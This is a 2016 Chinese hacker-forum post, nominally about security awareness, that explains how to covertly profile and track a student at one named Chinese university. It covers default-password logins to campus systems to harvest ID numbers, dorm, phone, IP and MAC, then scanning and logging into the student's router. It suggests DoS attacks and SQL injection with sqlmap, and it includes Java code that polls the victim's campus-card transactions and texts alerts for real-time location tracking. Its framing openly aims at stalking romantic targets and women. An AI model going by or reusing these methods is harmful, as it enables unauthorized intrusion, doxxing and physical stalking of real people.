搜索
查看: 1486|回复: 1

在北理珠,如何快速被动了解(社工)一个学生

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-7-31 16:45:35 | 显示全部楼层 |阅读模式
前言

    信息时代,所有东西都有被信息化的趋势。总所周知,数字化有着明显的便利,但是同时我们也会面临着相对应的信息安全问题。由于信息时代日异月新,新概念技术层出不穷,很容易造成部分人信息安全意识薄弱。笔者通过几个校园内的案例的演示,希望能或多或少地改变他们这方面的观念。

本文侧重讲解弱密码所带来的危害。首先从一个具体案例出发,以攻击者的角度进行演示,逐步开枝散叶,从基础到进阶利用,最后从受害者角度来说,我们改如何预防。

这次的案例定位为:在北理珠,如何快速被动了解(社工)一个学生。被动了解即是在目标学生不知情下获取其一些基本信息。

基础篇

假设条件:我们知道了目标学生的姓名。

一,利用强大的搜索引擎

拿到种子信息后,我们就可以先利用强大的搜索引擎查看一下,看看有没有什么有价值的信息先。搜索命令很简单:site:zhbit.com XXX。


根据结果,我们可以看到有个奖学金的excel表信息。上面有目标学生的一些信息,就这样,我们就能获取到目标学生的一些基本信息。其中学号是价值蛮高的信息,因为一般学校内,学号的作用就类似于身份证。它是用于登陆其他校务模块的凭证。

二,图书馆模块存在弱密码


凭借着笔者数年的校园生活经验,可知,图书馆的初始登陆密码是88888或者是学号本身。于是乎,笔者使用上面获取的目标学号和默认的弱密码进行尝试登陆。果不其然,密码为888888登陆成功。


从页面信息可以获取一些目标学生的阅读习惯。就此次目标做下分析,此学生四年借书28本,排名82%,算是比较爱看书的一类学生,从他的看书习惯工科类的书占比很高,不难推出他应该是个典型的工科屌丝男,俗话说:工字不出头!除了首页的信息外,还有几块是有点价值的,比如具体借了什么书,借书欠费情况,可以大概看出这个人的一些品质。

就本次目标来说,初步断定不是个懒逼就是个没有原则的生物。

其中最有价值的就数个人信息模块了,我们很容易就可以得到了本次目标的身份证号码,又根据学校善意提醒,可以知道本校的一些信息化系统的初始密码就是身份证后六位或者生日,为我们后期的社工提供了很有用的信息。


这部分就到此为止吧。

三,校园网自助平台存在弱密码

这模块估计很少人用的,起码笔者身边的同学基本不知道这模块的东西,这也暴露了学校在这方面的不足,模块组织分化管理,很容易让学生懵逼。

由于笔者爱生活的原因,可知这平台的默认密码是1234。基本没学生会改,一方面是基本都没什么人使用过着平台,另一方面是觉得这方面的信息无关痛痒。

笔者尝试使用学号加默认密码登陆,不出所料,成功登陆。


我们从页面易可得,目标学生的住处、分配的IP地址、绑定的MAC、电话号码。住处明显就是个敏感信息,很容易造成被“伏击”的结果,特别是漂亮的女同胞。IP地址呢,也是很有利用价值的。这里提供一个最近遇到的特殊例子,用以说明。首先我们可以使用Nmap扫一扫


发现这次目标有开53端口,用于tcpwrapped??感觉这是用于DNS隧道以突破校园网限时断网。也开22端口,一般是用于ssh登陆用的,有点奇怪,抓下数据looklook。


是个tp-link路由器,在本校一般人用不上路由器,笔者尝试使用弱密码远程登陆了下,意外地,直接进去了…



这部分就到这吧,再深入恐怕要罪人。IP地址高级利用门槛比较高,所以放到进阶篇再做解述。

接着,我们通过MAC地址可以查出电脑的厂商,大概可以知道目标学生的经济能力,例如大家都知道用苹果的都是土豪。

知道了电话号码,我们可以浏览www.reg007.com/查看目标学生注册过什么网站。这些注册信息可用于后期的撞库。

同时我们可以去搜索,添加目标学生的微信,当然这已经不属于被动了解的范畴了。

四,校园一卡通模块存在弱密码

打开登陆界面,发现一卡通的页面UI做得很不协调(chou),相对笔者来说就是个好消息。丑,一般没什么人搭理,所以存在默认密码登陆的概率想相对高。

又是因为丰富的校园生活经验,笔者得知这一默认密码不是888888就是身份证后六位。笔者在前面已经GET到目标学生的身份证号,这时候就派上用场了。不出意外地,成功登陆进去了。接下来我们就能很容易查到目标学生的又一些基本信息和消费习惯。


根据这部分信息,我们就大概知道了目标学生的生活路线,利用好这部分信息,我们可以提高现实中与目标碰面的机会。不过在美团外卖和饿了的冲击下,这个校园卡消费消息相对3年前要少了不少。但是这不影响它的价值,在后面的进阶部分,笔者也会给出高级的利用姿势。

五,数字校园模块存在弱密码

这个模块是比较新,好像笔者这样的老油条也是最近才看到的。同时第一次登陆也存在弱密码,88888。登陆进去后会强制提醒修改密码。


从上图的接口可以直接进入教务系统。但笔者不建议使用这方法,因为需要修改目标学生的密码,会引起目标的注意和不必要的麻烦,损人不利己的事情尽量不要做。


初步总结

基于上面的各种弱密码,我们基本对目标学生有了一定了解。能实现模糊定位到目标学生的位置。从而提高我们现实中接触目标学生的机会。写到里,笔者想起一首歌,送给大家


进阶篇

经过前面的姿势,我们是可以对目标学生进行一定的侧写,如果目标是心仪对象,经过一两个月的投其所好,剩下来的就看脸了。但,我们还是可以利用更骚的姿势进行上面已有信息的利用的。当然也需要利用者具备一定的编码能力。下面笔者将会主要给出思路和部分代码,让读书能见识到这方面的危害。

一,IP地址信息的利用

一般来说,拿到一个IP,我们就直接用Nmap这类扫描器来扫一扫,可以快速发现目标学生的电子设备的一些基本状态。


根据目标机器一些端口的开放可以推测出相对应的服务状态,例如3389这类的敏感服务如果开启,我们进而可以尝试的进行密码爆破强行登陆目标主机。经过上面的基础扫描,我们也就容易知道目标主机是否能ping通(可连接)。如果是可以,我们完成可以写一段程序进行监控目标机器的存活状态。从而增加目标学生的生活数据。下面给出部分代码。

  1. private static final int timeOut = 3000; //超时应该在3钞以上
  2.    
  3.     public static boolean isPing(String ip)
  4.     {
  5.         boolean status = false;
  6.         if(ip != null)
  7.         {
  8.             try
  9.             {
  10.                 status = InetAddress.getByName(ip).isReachable(timeOut);
  11.             }
  12.             catch(UnknownHostException e)
  13.             {
  14.                
  15.             }
  16.             catch(IOException e)
  17.             {
  18.                
  19.             }
  20.         }
  21.          return status;
  22.     }
复制代码

另一方面,竟然知道了IP地址,又是可以ping的话,我们就可以进行UDPFLOOD,SYNFOOLD这类的DDOS的攻击。这样的工具网上也是随手可得,当然从代码实现来说,也不是什么高超技术。


这样我们就具备了另类断开目标学生网络的能力。只要我们连上学校商品的免费WIFI、替换掉本身的MAC或者使用虚拟机,那么基本难以被人发现我们真实身份。

二,校园一卡通的利用

由于我们掌握了目标学生的登陆信息并且校园一卡通实时记录着学生的消费信息,从这些信息中,我们可以知道在什么时候,目标学生在哪里消费了。时间,地点,人物基本都记录了。又时实时的信息,所以我们完成可以写一个小程序进行监控目标校园卡的消费信息状态,一旦目标学生产生了消费行为,我们就能实习收到一条通知短信,从而基本可以不间断定位目标学生。从而我们掌握更多的主动权。下面给出部分关键代码

  1. public class Notify {
  2.        
  3.         private HttpClientTool clientTool;
  4.         private final String charset = "UTF-8";
  5.        
  6.         private void init() {

  7.                 // 初始化操作
  8.                 this.clientTool = new HttpClientTool();
  9.                 this.clientTool.login();
  10.         }
  11.        

  12.         public void crawling() throws ParseException, IOException {
  13.                 // 启动抓取
  14.                 String str1 = null;
  15.                 int i = 0;
  16.                 while(true){
  17.                
  18.                 String pageCode = clientTool.crawlPageByPost("http://10.0.101.44/accounttodatTrjnObject.action");
  19.                 //System.out.println(pageCode);
  20.                 Parser parser = Parser.createParser(pageCode, this.charset);
  21.                 NodeFilter filter = new HasAttributeFilter("class", "listbg");
  22.                 try {
  23.                         NodeList nodeList = parser.extractAllNodesThatMatch(filter);
  24.                          
  25.                         String str = nodeList.elementAt(0).getChildren().elementAt(1).getChildren().toHtml();
  26.                         if(i == 0){
  27.                                 str1 = str;
  28.                                 i++;
  29.                                 continue;
  30.                         }
  31.                         System.out.println(str);
  32.                         System.out.println(str1);
  33.                         if(str.equals(str1)){
  34.                                 System.out.println("没有动态更新……");
  35.                         }else{
  36.                                
  37.                                 notifys();
  38.                         }
  39.                         str1 = str;
  40.                 } catch (ParserException e1) {
  41.                         e1.printStackTrace();
  42.                 }
  43.                 try {
  44.                         Thread.sleep(1000);
  45.                 } catch (InterruptedException e) {
  46.                         e.printStackTrace();
  47.                         }
  48.                 }

  49.         }
  50.        
  51.         public void notifys() {
  52.                 //短信通知接口
  53.                 CloseableHttpClient httpclient = HttpClients.createDefault();
  54.                 HttpPost post = new HttpPost("http://utf8.sms.webchinese.cn/");
  55.                 post.addHeader("Content-Type","application/x-www-form-urlencoded;charset=utf-8");// 在头文件中设置转码// 构造post数据
  56.                 List<NameValuePair> valuePairs = new LinkedList<NameValuePair>();
  57.                 valuePairs.add(new BasicNameValuePair("Uid", "你的登陆名"));
  58.                 valuePairs.add(new BasicNameValuePair("Key", "你的key"));
  59.                 valuePairs.add(new BasicNameValuePair("smsMob", "你的电话"));
  60.                 valuePairs.add(new BasicNameValuePair("smsText", "通知信息"));
  61.                 UrlEncodedFormEntity entity = new UrlEncodedFormEntity(valuePairs,
  62.                                 Consts.UTF_8);
  63.                 post.setEntity(entity);
  64.                 CloseableHttpResponse response = null;
  65.                 try {
  66.                         response = httpclient.execute(post);
  67.                 } catch (IOException e) {
  68.                         e.printStackTrace();
  69.                 }

  70.                 Header[] headers = post.getAllHeaders();
  71.                 int statusCode = response.getStatusLine().getStatusCode();
  72.                 System.out.println("statusCode:" + statusCode);
  73.                 String pageCode1 = null;
  74.                 try {
  75.                         pageCode1 = EntityUtils.toString(response.getEntity());
  76.                 } catch (ParseException | IOException e) {
  77.                         e.printStackTrace();
  78.                 }
  79.                 System.out.println("pageCode:" + pageCode1);
  80.                 for (Header h : headers) {
  81.                         System.out.println("---" + h.toString());

  82.                 }
  83.                
  84.                 try {
  85.                         response.close();
  86.                 } catch (IOException e) {
  87.                         e.printStackTrace();
  88.                 }
  89.         }
  90.        
  91.        
  92.         public static void main(String[] args) throws ParseException, IOException {
  93.        
  94.                 Notify notify = new Notify();
  95.                 notify.init();
  96.                 notify.crawling();
  97.        
  98.         }

  99. }
复制代码

这程序能运行,逻辑上可以实现功能的,但笔者没用真正使用过监控目标。还有,程序基本功能是实现了,但是细节有待优化。

同理我们可以结合目标IP存活、图书馆某些信息状态、加上一卡通信息状态,我们定位到目标学生的可能大大提高。以至于我们进行现实生活中各种套路。例如偶遇什么的,还能提高身在同一局域网可能,从而进行下一步信息渗透。

三,其他方式获取信息

可能一些读者看到这,觉着只要修改那几个敏感校务模块的初始密码就能高枕无忧了。其实不然。有些高难度姿势防不胜防。例如利用正方教务系统的BUG,实现查询学生的信息。下面给出部分过程。


乌云上15年的漏洞,一个接口中的union注入点。学校响应为什么这么慢,我们就不YY了。接着直接上sqlmap


很简单就获取到相对应的字段,然后用burpsuite就能爆出敏感信息


虽然是密文,但是前人已经写出了解密工具,于是密码明文信息便是囊中之物了。


              

拿到之前的账号和密码明文就可以去教务系统登录,不出意外的话,目标的信息就这样轻易地暴露了。拿到教务系统的密码,根据基础篇的获取部分信息,我们也可以用这密码进行小范围的撞库,从而作为下一阶段渗透的切入点。

结语

    综上所述,如果我们的信息安全意识不足,那造成的结果不言而喻。我们该如何最大程度上保护自己的隐私信息呢?明显地,首先务必要养成修改默认密码的习惯,同时密码也需要设置相对复杂些,再者所有账户不要使用同一个密码。可能有些读者好像笔者一样帅比,不care这点信息的泄露。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

4

主题

211

帖子

3200

积分

我是黑客

Rank: 3Rank: 3

积分
3200
发表于 2016-8-7 08:26:20 | 显示全部楼层
搜索命令site:zhbit.com XXX
该会员没有填写今日想说内容.
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表